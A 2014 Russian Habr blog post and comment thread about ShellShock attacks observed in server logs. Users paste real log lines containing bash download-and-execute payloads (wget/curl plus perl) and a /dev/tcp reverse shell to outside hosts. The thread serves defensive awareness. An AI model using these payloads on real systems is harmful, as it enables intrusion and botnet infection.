Пользователь
0,0
рейтинг
29 сентября 2014 в 15:34

Разработка → Начало активного применения ShellShock из песочницы

image

Доброе время суток %username%! Хочу рассказать историю о том, как мой сервер каждый день подвергается атаке через CVE-2014-6271 (shellshock). Для тех, кто вдруг упустил это из виду, две публикации на «Хабре»: «CVE-2014-6271, CVE-2014-7169: удалённое выполнение кода в Bash» и «Новая опасная уязвимость ShellShock позволяет атаковать множество устройств, от смартфонов до промышленных серверов».

Итак, после того, как информация попала в публичный доступ, в логах сервера я стал видеть запросы к серверу, где заголовки содержали вызов bash. Сначала, это были безобидные запросы, где referer и UserAgent http запросы содержали вызов из bash ping xxx.xxx.xxx.xxx — можно догадаться, что это уже поиск потенциальных жертв.

Сегодня ночью стало все куда интереснее. Проверяя логи сервера я наткнулся на такой запрос:


UserAgent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.YYY.YYY.YY/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

(С помощью wget скачиваем файл с удалённого сервера, ставим права на исполнение, запускаем, удаляемся).
(Ip адрес специально затерт).

Очевидно, что к дело идет к массовому заражению серверов ботами.

Что ж, скачаем этот файл, им оказался perl скрипт. Прогнав его через virustotal видим только одно срабатывание:

Sophos — Mal/PerlBot-A

Остальные говорят, что все OK.

Что ж, посмотрим. Открыв файл в текстовом редакторе, видим:

#!/usr/bin/perl
use MIME::Base64;
eval(decode_base64(('IyEvdXNyL2Jpbi9wZXJsDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj ..... MjIyMjIyMjIyMNCg=='));)


Тут сразу все понятно, типичный приём сокрытия кода. Что ж, декодируем base64 и получим следующее:

## много комментариев
## perlBot v1.02012 By unknown @unknown ## [ Help ] ####################################
## много комментариев


Теперь все ясно. Очередной бэкдор для удалённого управления. Управляется через IRC. Я не сильно знаком с perl, но пробежавшись по файлу заметно, что его в функционал входит поднятие прав (через подбор пароля root, словарь довольно маленький), флуд, и запуск некоторых утилит (mail, portscan, поднятие dns).

В заключении хотел бы дать совет начинающим системным администраторам.

Следите за своими подопечными! Если вы думаете, что bash никак не задействован в ваших системах, можете сильно ошибаться.

Bash используется в Apache (mod_cgi, mod_cgid), DHCP клиентами, OpenSSH, а так-же Git, Subversion, ну и, конечно, ваш роутер тоже может быть уязвим.

На github полно публичных репозиториев для проведения атак, не считая того, что эксплуатировать эту уязвимость настолько просто, что справится любой начинающий вредитель.

Ссылки по теме


Информация о PerlBot (модификация) [EN];
Статья от DigitalOcean как защититься от Shellshock [EN].
@iwong
карма
5,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (92)

  • 0
    Думаю, что ссылка на virustotal не помешала бы.
  • +1
    А что делать обычному пользователю?
    • +53
      Собирать свой ботнет. На гос.пенсию надежды мало, а с золотыми слитками тоже не все так просто, как показали недавние статьи на Хабре.
      • 0
        Я про защиту, апдейт-апдейтом, но на разных системах он в разное время был. Тем более, что новые дыры появились.
        • +1
          habrahabr.ru/company/mailru/blog/238475/ — здесь в конце статьи и в комментариях про это как раз идет речь.
          • 0
            Не видел, спасибо.
  • +3
    А как подвержены атаки DHCP клиентами, OpenSSH?
  • +1
    У меня пока только одна попытка
    173.255.204.76 - - [27/Sep/2014:19:58:13 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 18831 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://82.220.38.36/user;curl -O http://82.220.38.36/user ; perl /tmp/user;rm -rf /tmp/user\""
    • 0
      Хорошо, что одна, когда я писал статью, я поискал на гитхабе и там около 9 репозиториев было со скриптами для провединя атаки.
    • –5
      Это Вас какие-то скрипт-кидди атаковали — этот первловский скрипт обнаруживается практически всеми антивирусами.
      • +17
        На скольких процентах линуксовых серверов стоит антивирус?
        • 0
          Извините, а при чем тут это? Я лишь указал на технический уровень атакующего. Им был взят из паблика чужой сканер и откопан на одном из хакерских сайтов бот пятилетней давности — это факт. При массовых атаках хакеры борются за каждый процент «пробива» — за инструмент, дающий разницу в 2% профита могут платить суммы в килобаксах, а в данном случае, когда число уязвимых серверов велико, а добыча может быть настолько огромной — цена может быть еще выше. Но платить никому в данном случае не надо было — топикстартера атаковал уже не нуб-скрипт-киддис, а кто-то поумнее, он обернул по сути тот же самый бот в eval(decode_base64 и детекты всех антивирусов (кроме софоса) отвалились и до сих пор (хотя прошло уже целых три дня) не восстановились — скрипт на virustotal'e детектируют около пяти антивирусов — те, кто хоть как-то следит за индустрией и имеет совесть (остальные либо стормозили, либо им пофиг). То, что хакер не обернул этого бота даже в base64 (две минуты работы) говорит только об одном — он нубер-копипастер. Мне, как человеку, который все свое свободное время посвящает борьбе с малварью такие люди противны. К тем, кто делает что-то технически красивое есть что-то отдаленно напоминающее уважение, но и к ним я отношусь по заветам Глеба Жеглова.
          • –1
            Скорее взят первый попавшийся бот. Если не видно разницы, то просто пытаются использовать уязвимость до того, как обновятся. Две минуты — это много.

            обернул по сути тот же самый бот в eval(decode_base64 и детекты всех антивирусов (кроме софоса) отвалились


            Да, именно поэтому антивирусов на линуксовых серверах нет. Когда есть тысячи способов сделать всё, что угодно — сигнатуры не помогают.
            • 0
              Если антивирус есть хотя бы на 0.5% серверов, то хакер бы уже попытался сбить детект, тем более этот 0.5% может быть в этом случае равен тысячам серверов — неплохой куш можно упустить, правда? Если хакер этого не сделал, то он либо дикий лентяй, либо нубер. Непонятно с чем Вы пытаетесь спорить. Вы считаете атакующего квалифицированным хакером? Я же пишу — битва идет за каждую долю процента. К примеру exploit-kit с «пробивом» 5% может лежать в открытом доступе, а его следующая версия с «пробивом» 6.5% может стоить 2k$ (причем в аренду).
  • 0
    Вот тут говорят что это вообще фича а небаг. К сожалению у меня нет сейчас времени перевести это.
    paste.lisp.org/display/143864
    • +7
      Краткий перевод: когда деревья были большими, а интернет маленьким, кто-то решил, что было бы неплохо дать возможность любой переменной окружения стать функцией на bash. Это не было уязвимостью, поскольку все переменные окружения можно было получить только из доверенного источника.

      Вот только фичу документировать забыли — а с приходим технологии cgi переменные окружения перестали быть доверенными.
  • +2
    Сейчас на virustotal детектят уже 4 продукта:
    www.virustotal.com/en/file/95958316ddb78d11f8d2cdd17a98651f7bd69c1c6dc3a89313095eb1dd12b371/analysis/
    • 0
      К существующим детектам
      Agnitum
      Sophos
      Symantec
      TrendMicro/TrendMicro-HouseCall

      Добавился детект от DrWeb. А ведь прошло пять дней. Атаке именно с помощью этого файла подверглись множество серверов, про него протрубили на множестве форумов, и? Вопрос знатокам: отвечает Друзь или остальные антивирусы все-таки начнут чесаться?
  • +1
    у меня вот такая парочка:
    "() { (a)=>' bash -c 'wget http://video-vk.ru:80/logol.php?id4=248866)'" "() { :;}; /bin/bash -c \"(echo 'GET /logol.php?id3=248866' > /dev/tcp/video-vk.ru/80);(wget -qO- http://video-vk.ru:80/logol.php?id2=248866 &> /dev/null);(curl http://video-vk.ru:80/logol.php?id1=248866 &> /dev/null)\" #Your system may be vulnerable to ShellShock. Please visit https://vk.com/define for more information."

    "() { :; }; /bin/bash -c 'wget http://creditstat.ru/cm9ib2NyYWZ0LnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/cm9ib2NyYWZ0LnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    • +1
      Чую, что ваш сайт входит в милионный топ :)
    • 0
      интересно, а wget >> /dev/null это что, такая попытка DDOSa сайта creditstat неуклюжая?

      у себя нашел такие же строчки только хэш другой
    • +15
      А это я сканирую =)
      Взял файл с миллионом доменов по популярности.
      248866 — это ваше место в нем, кстати.
      Процент не большой, но есть крупные магазины, гос. сайты уязвимые. Всем уже рапортовал, у кого нашел.
      • +4
        video-vk.ru? Серьёзно? И не стыдно вам таким говном заниматься, да ещё и нам об этом рассказывать?
        • +4
          Подсказываю «отмазы»:
          1. Сайт не мой, я там только скрипт разместил
          2. Не смотрел, но осуждаю
          3. Ничего личного, это бизнес
          4. Впервые вижу, это мне подбросили
          5. У нас свобода слова, языка и других частей тела
  • 0
    В моём случае:
    GET /cgi-bin/hi HTTP/1.0" 404 24306 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget Y/ji;curl -O /tmp/ji Y/ji; perl /tmp/ji;rm -rf /tmp/ji\x22"

    Причем запрос с ip X, перловый скрипт с ip Y/ji, а в скрипте адрес ircd.w3h.co.uk (ip Z). Сам скрипт определяется как Backdoor.Perl.IRCBot.
    • 0
      Если файл не найден, как в данном случае, bash всё равно запускается или нет? У меня в логах тоже есть подобная строчка, а bash на тот момент был дырявый (он и сейчас дырявый, но я отключил CGI).
  • 0
    Обновил debian 7, дыра закрылась. На дебиан 6 после обновлений все равно открыто все.
    Получено:1 security.debian.org/ wheezy/updates/main bash amd64 4.2+dfsg-0.1+deb7u3
    • +1
      странно, в 6 дебиане уже есть заплатка. тестил код из статьи, уже не срабатывает «фича».
      • 0
        проверил только что — заплаток нет

        скрипт указывает на наличие бреши
        env X="() { :;} ; echo busted" bash -c "echo stuff"
        
        • +2
          У Вас репозитории от LTS? wiki.debian.org/ru/LTS/Using
          • 0
            в lts есть заплатка, если эти репы не подключены, то заплатка ставиться и приведенный код выше не работает. он не подключил их, вот и ждет до сих пор обновление, а оно вышло уже давно.
          • +1
            Перевел на LTS, обновил.

            Подтверждаю — брешь закрыта.
        • +1
          зашел на сервер и сделал так:

          s0:~# env X="() { :;} ; echo busted" bash -c "echo stuff" stuff s0:~#

          не работает ошибка… заплатка стоит из подключенных lts репозитариев дебиана 6.
  • –2
    >массовому заражению серверов
    скорее домашних роутеров и прочих девайсов где из баша и палок веб-интерфейсы собраны
    • +15
      Главная фича роутеров — большинство из них юзают busybox, а в нём этой проблемы нет.
      • –3
        точняг
  • –4
    Посыпая голову пеплом — особо не знаком с данной уязвимостью, но как видно не зря на tmp ставлю rw,noexec,nosuid,nodev
    • +12
      И давно noexec помогает от perl /tmp/script.pl?
      • 0
        От того что у автора прилетело поможет.

        С таким подходом можно и патчи не ставить все-равно пишут:

        Уже есть сведения о патчах, которые оказались не слишком эффективны. Так что за этой уязвимостью нужно следить очень внимательно, она не из тех вещей, про которые можно забыть после установки патча.


        А так знаете ли чем больше палок в колеса тем лучше.
        • 0
          От того что у автора прилетело поможет.
          Ну, заменят через час в эксплойте chmod +x /var/tmp/ec.z;/var/tmp/ec.z на perl /var/tmp/ec.z и уже не поможет.
          Уже есть сведения о патчах, которые оказались не слишком эффективны.
          В Gentoo bash за эти дни обновился 4 раза.
          А так знаете ли чем больше палок в колеса тем лучше.
          Проблема с некоторыми действиями в отношении безопасности в том, что они создают ложное чувство защищённости. Типичный пример — запрет входа как root через ssh: если разрешён вход только по ключу (как и должно быть), то без разницы, зашёл ты как root или как юзер и дальше сделал su/sudo. Монтирование /tmp с noexec из той же оперы.

          В теории — я согласен, чем больше слоёв защиты тем больше вероятность что один из них помешает взлому. Но на практике когда «защиты» начинают городить бездумно, в режиме cargo cult, да ещё и такие, которые могут остановить только неопытных скрипт-кидди — от этого больше вреда, чем пользы.
          • +1
            Запрет root полезен тем, что пользователя, под которым надо входить, чтобы получить доступ к sudo еще надо узнать. Ведь пароли будут подбирать к типовым логинам.

            Конечно да, тут можно сказать мало ли получат доступ через какие-то скрипты, но пароль для входа в sudo все-равно потребуется. Тут же можно, сказать почему вообще пользователь, под которым работают скрипты доступные из вне, могут лазить куда им не следует (выше домашней директории).

            100 процентной защиты нет ни от чего. Но если сложить руки, то будет точно не лучше.
            • +1
              Во-первых, если получат доступ к моему ключу для ssh это автоматически означает что так же получили доступ к остальным зашифрованным файлам на моей рабочей станции. А это, как и у любого админа, насколько дофига разных паролей и прочих критичных данных, что подберут пароль к sudo или нет — будет уже далеко не самой большой проблемой.
              Во-вторых, доступ к sudo часто не требует пароля для некоторых команд/скриптов, и через эти команды нередко можно получить достаточный или вообще полный доступ.
              В-третьих, у меня все пароли случайные, длинные и один пароль никогда не используется в двух разных местах — а это автоматически означает, что все пароли к sudo будут храниться там же, где и ключ для ssh — в зашифрованном виде на моей рабочей станции, так что тот, кто получит ключ ssh получит и пароль для sudo.

              Вот об этом я и говорил выше. В теории, дополнительный слой защиты в виде пароля для sudo — это хорошая идея. На практике, когда рассматриваешь все возможные сценарии угроз — выясняется, что эта идея хороша исключительно в ситуации, когда доступ по ssh разрешён по паролю, который могут подобрать брутфорсом, и тогда наличие второго пароля для sudo действительно послужит дополнительным препятствием.
              • 0
                Ну это вы уже в крайность впали, если кто то получит доступ к вашей базе паролей и ключей, то тут вам ни что уже не поможет. С этим не поспоришь. Разве только ограничить доступ для конкретного ip, но тут можно сказать а если… :)

                А вообще отдельный логин, который имеет доступ к sudo и отдельные пользователи для проектов посаженные в chroot как минимум лучше чем вываливать на обозрение root.

                Вашу позицию, с тотальной параноей я тоже понимаю. Но знаете ли даже тетрадка с паролями надежно спрятанная в шкафу :) не спасет от паяльника и утюга.
                • 0
                  Все сервисы по отдельным виртуальным машинам с полной изоляцией. И колючая проволока со строгим дяденькой.
                • –1
                  Вообще-то я не об этом говорил. Я говорил о том, что вместо того чтобы запрещать вход root через ssh или монтировать /tmp noexec не думая, просто потому, что это кто-то когда-то порекомендовал или это написано где-то в интернетах или «так было всегда» — нужно сделать анализ угроз и возможных векторов атак. И вот тогда становится понятно, какие дополнительные слои защиты действительно могут помочь, а какие — в лучшем случае создают админу психологический комфорт (а в худшем создают ложное впечатление надёжности/защищённости и снижают бдительность и осторожность).
                  если кто то получит доступ к вашей базе паролей и ключей, то тут вам ни что уже не поможет
                  Это не паранойя и паника. Это результат анализа — я изучил все (известные мне) возможные варианты получить доступ к моему ключу ssh, и во всех этих вариантах одновременно получали доступ к моей базе паролей. Примеры: один из вариантов это руткит с кейлоггером, второй — паяльник.
  • 0
    Арендую дешевую VDS (Ubuntu) для OpenVPN, стоит NGINX с 1 статичной страничкой, как увидел первую новость о уязвимости — сразу поставил все обновления.
    Сейчас увидел в логах:
    [27/Sep/2014:03:14:51 +0400] «GET / HTTP/1.0» 200 612 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22".

    О Linux имею поверхностное представление… Мне стоит паниковать?
    • –1
      • 0
        При чем тут это? Дыра не в веб-сервере, а в самом баше.
        • +7
          NGINX притом, что уязвимость проявляется при запуске CGI-скриптов, которые NGINX в принципе не поддерживает. При подключении PHP через FastCGI bash не задействуется.
          • 0
            А если за nginx стоит апач?
            • +1
              а тут какой хочешь прокси ставь, если в тылу всё равно cgi поддерживается — тыл уязвим

              когда nginx стоит перед апачем, он перекладывает сообщения из левой руки в правую и обратно, собственно, сам мозги не включает и соответственно ни от чего не защитит

              простите за косноязычность
              • +1
                Так я на это и намекал как бы. Nginx ведь сам по себе ни при чем и писать что он «не подвержен» также некорректно. Дыра то не в веб-серверах.
          • +1
            Да, но нет гарантии что запущенный php-скрипт не вызовет bash сам (явно, или не явно — выполняя какую-то системную команду либо задействовав какую-нить фичу самого php).
    • 0
      Если действительно одна страничка и cgi с башем не используется — паниковать нет смысла.
  • +1
    54.251.83.67 — - «GET / HTTP/1.1» 200 1913 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
    • 0
      Аналогично. С того же IP тот же запрос в логах.
  • 0
    У меня висит owncloud, а по дефлотному пути ****.net отдается заглушка апача. Апдейты накатил. Что-то еще надо делать? Что там с самотестированием на уязвимость?
    • +1
      Вроде вот это предлагается для тестирования. Если вываливает busted — все плохо. Интересно — Mikrotik подвержены?
      env X="() { :;} ; echo busted" bash -c "echo stuff"
      
      • 0
        Заменить апач на nginx, в нём чтобы запустить CGI нужно очень сильно стараться.
        Можно пойти дальше и заменить линукс на бсд — там баша нет, нужно ставить из портов :)
        (в нём после этой истории вообще отключили связанный с этим функционал)
        Ещё php-fpm умеет из коробки работать с chroot — можно пересадить туда все сайты доступные извне и применить драконовские меры с разрешениями на файлы и папки.
        Баш копировать в chroot не имеет смыла, пхп должен и так работать.
        mysql хоть и не подвержен тому что тут обсуждается, но тоже прекрасно живёт в отдельном chroot окружении.

        Микротик не подвержен, но при наличии линукса/бсд он и не нужен, проще освоить iptables (pf/ipfw в бсд) и может пару демонов поставить/настроить, типа dnsmasq для дхцп сервера и unbound в качестве рекурсера с кешем (чтобы забыть вообще о настройке днс и проблемах с ним).
        Плюсом — облегчение конфигурации — не нужно дополнительно пробрасывать порты с тика на сервер для вебсервера, торрентов и прочего.
        • +2
          Мне проще выделить веб-сервер в изолированную виртуальную машину, чем разводить такой ад с защитой) мне это сложно)
          • +1
            Мало того что оно занимает кучу места на диске и в памяти, требует дополнительного обслуживая (всё таки отдельная ос, обновлять хотя бы надо) но и при этом совершенно ничего не гарантирует!!!

            Все дыры какие были такие и останутся.
            Ботам — вообще всё равно где жить, лишь бы заселится :)
            Атаковать локалку и хост систему с виртуалки никто не мешает, хотя это и не очень надо. Можно конечно зажать: заблочить все исходящие, входящие только по опред портам, но дыры это не закроет и эксплуатировать ничего не помешает.
  • 0
    Сегодня ночью стало все куда интереснее.

    Слоупоки проснулись? Как минимум с 25го числа в логах попадаются вот такие штуки:
    89.207.135.125 - - [25/Sep/2014:17:13:22 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1164 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

    Но основная волна пришлась на 26-27 сентября, с тонной вот таких запросов:
    173.45.100.18 - - [27/Sep/2014:23:03:36 +0700] "GET /cgi-bin/hi HTTP/1.0" 404 1037 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""
    • 0
      Какие именно логи стоит смотреть?
      • 0
        Apache / Ngnix / Lighttpd, или что там у вас стоит.
        • 0
          А если простой домашний комп, «без никто», можно спокойно спать?
          • 0
            Всё что не надо держать открытым в сеть — закрыть, закрыть на впн…
  • 0
    Порылся в логах Апача на домашнем сервере — тоже нашел следы атак:

    IP — 5.9.54.227 — - "-" "() { :;}; /bin/bash -c \«wget -O /dev/null tools.vsibiri.info/are_you_vuln/10*******.RU\»"

    Посмотрел информацию по домену vsibiri.info — зарегистрирован достаточно давно — и сейчас уже ничего не отдает — взломали и с него дальше пытаются ломать?
    • 0
      Смущает кусок «are you vulnerable». Чувство, что вначале предложили утилиту для сканирования уязвимости, а потом долбят по выявленным. Хотя фиг егоо знает.
      • 0
        Скорее всего на домене организовали сканер уязвимости по списку… последний запрос с этого IP был полтора часа назад — посканировали и свернулись быстренько.

        Пробовал подставить в строку из лога ссылку на скачивание на локалхосте — ничего не скачалось, да и обновился уже на всех подконтрольных серверах…
        • 0
          Уже не должно быть. Администратор данного хоста связался со мной после получения абузы, сообщил о том, что очистил. Проверил — пока с его адреса ничего не видно.
          Но изначально сканило хорошо, по большому списку. Остановилось где-то на доменах, начинающихся с цифры 4, может чуть позже.
    • 0
      Да, это мой домен. Использовали в качестве шелл-прокси через эту уязвимость. Обновился, сейчас все нормально.
  • +1
    Друзья, расскажите насчет уязвимости роутеров — чем грозит, как защититься?
    P.S. Речь о домашнем ПК.
    • –1
      Грозит чем угодно, в зависимости от роутера надо как минимум обновить прошивку (если ваш производитель уже выпустил исправленную), дальше искать следы в логах/процессах. Также лучше первым делом закрыть WEB-интерфейс через WAN.
      • +2
        найдёте роутер с bash — пойдём дальше, а пока там busybox можно не особо дрожать и бояться
        • –2
          В Busybox'е далеко не пять строк, рано или поздно и там чего-нибудь найдут, так что насчёт «не бояться» — это вы загнули, Но данная конкретная проблема его не касается, это правда.
        • +2
          Вам списка, опубликованного Cisco мало?
  • 0
    Как я понимаю, если mod_cgi(d) в апаче выключен, то бояться нечего?
    Тоже в логах несколько запросов нашел

    209.126.230.72 - - [25/Sep/2014:05:01:27 +0200] "GET / HTTP/1.0" 404 385 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
    202.38.120.248 - - [26/Sep/2014:12:31:59 +0200] "GET / HTTP/1.0" 404 385 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
    54.251.83.67 - - [27/Sep/2014:21:37:07 +0200] "GET / HTTP/1.0" 404 385 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
    
  • 0
    У меня на паре доменов такое (с разными data):
    80.249.81.130 - - [27/Sep/2014:01:19:40 +0400] "GET / HTTP/1.1" 200 53448 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=мойдомен.ru\""
    • 0
      У меня так же есть запросы с этим доменом
  • 0
    62.210.75.170 - - [29/Sep/2014:12:42:39 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 217 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:39 +0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 216 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 208 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 30093 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 217 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 216 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:41 +0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 208 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    
    62.210.75.170 - - [29/Sep/2014:12:42:41 +0400] "GET / HTTP/1.1" 200 77824 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
    

    Тоже у себя нашел.
  • 0
    И у меня нашлось, код шелла еще на месте:

    174.143.168.121 - - [29/Sep/2014:14:32:18 +0100] "GET //cgi-bin/bash HTTP/1.0" 404 274 "-" "() { :;}; /bin/bash -c \"wget http://legendsoftwares.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\""
  • +2
    Поиск по логам находит только те запросы, которые передавали эксплоит в url или UserAgent. А все остальные эксплоиты, которые ограничились использованием Cookie: и прочих Accept-Charset: в логах не найдёшь… а они, скорее всего, есть.
  • +2
    А почему никто не использует уязвимость, чтобы насильно патчить сервера? Отличный ведь способ выкатывать обновления.
    • 0
      Ага, открываешь консоль, а там «Ваш сервер успешно обновлен, с вас 50р. за работу. Отправьте, пожалуйста, смс на номер...»
    • 0
      Скорее всего, для накатывания обновлений прав текущего пользователя просто не хватит.
  • 0
    Я не очень буду удивлён если появится статья: «АНБ знало об уязвимости bash 10 лет назад» или «Уязвимость shellshock» — закладка АНБ"
    • 0
      В логах уже бы давно заметили запуск баша в логах апача.
      • 0
        Нет, если использовать для эксплойта любые http-заголовки кроме UserAgent и Referer.
  • 0
    В копилку :)
    174.143.168.121 — - [30/Sep/2014:02:33:53 +0400] «GET /cgi-bin/bash HTTP/1.1» 404 224 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"
  • 0
    Есть ли какой другой вариант тестирования, кроме как из консоли? Можно ли как-то удаленно тестировать наличие такой ошибки в баше, не используя ssh?
    Есть задача для проверки серверов заказчика без доступа на сам сервер по соображениям безопасности. Сам заказчик не обладает компетенцией для запуска скриптов в консоли.
  • 0
    Ctrl+F ping
    таким способом найдете на этой страницы примера вызова пинга на удаленной машине, если сервер отпинговался на ваш — уязвим.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.